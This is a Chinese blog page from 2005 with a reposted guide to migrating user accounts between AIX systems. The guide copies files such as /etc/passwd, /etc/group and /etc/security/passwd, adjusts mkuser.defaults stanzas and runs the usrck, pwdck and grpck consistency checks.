      /usr/bin/xargs包含 xargs 命令

阅读全文(4917) | 回复(0) | 编辑 | 精华 | 删除
 


[综合]一个AIX操作系统中的用户信息拷贝到另外一个AIX操作系统中
文章收藏

薛 峰 发表于 2005/12/26 11:08:35

一个AIX操作系统中的用户信息拷贝到另外一个AIX操作系统中

在某些情况下,需要使一个AIX操作系统中的用户信息与另外一个AIX操作系统中的用户信息保持一致。如果在新的AIX操作系统中再重复创建这些用户将会非常浪费时间。因此通过拷贝那些与用户有关的文件并且进行一些必要的修改将会更快的实现用户的一致性。
在下列过程中所涉及到的所有的文件都是单纯的ASCII码文件,并且它们的格式从AIX操作系统版本4到AIX操作系统版本5中都没有改变,所以操作系统用户可以从相同的操作系统之间被迁移,也可以从不同的操作系统之间被迁移,比如从AIX操作系统版本4到版本5之间进行迁移。
下面是需要从旧的操作系统中拷贝到新的操作系统中的文件列表:
/etc/group
/etc/passwd
/etc/security/group
/etc/security/limits
/etc/security/passwd
/etc/security/.ids
/etc/security/environ
/etc/security/.profile
注意:需要修改/etc/passwd文件,以便使其中的root项如以下所示:
root0:0::/:/usr/bin/ksh
当你在拷贝/etc/passwd文件和/etc/group文件的时候,需要确认它们至少应该包含基本的用户和用户组。
特别地,需要包含以下的用户:
root
daemon
bin
sys
adm
uucp
guest
nobody
lpd
以及以下的用户组:
system
staff
bin
sys
adm
uucp
mail
security
cron
printq
audit
ecs
nobody
usr
关于这些用户和用户组的详细信息可以在AIX操作系统版本4安装指南(AIX Version 4.3 Installaton Guide )中找到。
如果文件集bos.compat.links已经在操作系统中被安装,那么你也需要把/etc/security/mkuser.defaults文件从旧的操作系统中拷贝到新的操作系统中去。如果该文件集没有被安装,那么这个文件存在于/usr/lib/security 目录下。/etc/security 目录是一个到/usr/lib/security目录的符号连接。
如果你已经拷贝了mkuser.defaults文件,则必须在用户小节(stanzas)中进行一些改变。需要将group改变为pgrp,将program改变为shell。一个正确的小节(stanzas)应该和下面的例子看起来差不多。
user:
pgrp = staff
groups = staff
shell = /usr/bin/ksh
home = /home/$USER
只要是在新机器上的AIX操作系统版本和旧机器上的AIX操作系统版本是一样的,那么以下的文件也必须被拷贝过去:
/etc/security/login.cfg
/etc/security/user
注意:如果你决定拷贝这两个文件,那么在拷贝之前需要打开/etc/security/user文件确认一些变量如tty, registry, auth1 等相对应于新机器的设置是正确的。否则,不要拷贝这两个文件,而只应该将旧机器上的所有的用户节拷贝到新机器上新建的文件中。
一旦这些文件都被迁移过去,那么需要执行以下的命令:
# usrck -t ALL
# pwdck -t ALL
# grpck -t ALL
上面的这些命令将会清理系统中相对于用户和用户组的任何不一致的情况(诸如,uucp 在 /etc/security/passwd文件中没有记录(entry))等。
在理想的情况下,它们应该被运行两次:拷贝文件之前在旧的系统上先运行,当拷贝文件之后在新的系统上再次运行。

阅读全文(4575) | 回复(0) | 编辑 | 精华 | 删除
 


« 1 2 3 4 »



站点首页 | 联系我们 | 博客注册 | 博客登陆

Sponsored By W3CHINA
W3CHINA Blog 0.8 Processed in 0.035 second(s), page refreshed 144805317 times.
《全国人大常委会关于维护互联网安全的决定》  《计算机信息网络国际联网安全保护管理办法》
苏ICP备05006046号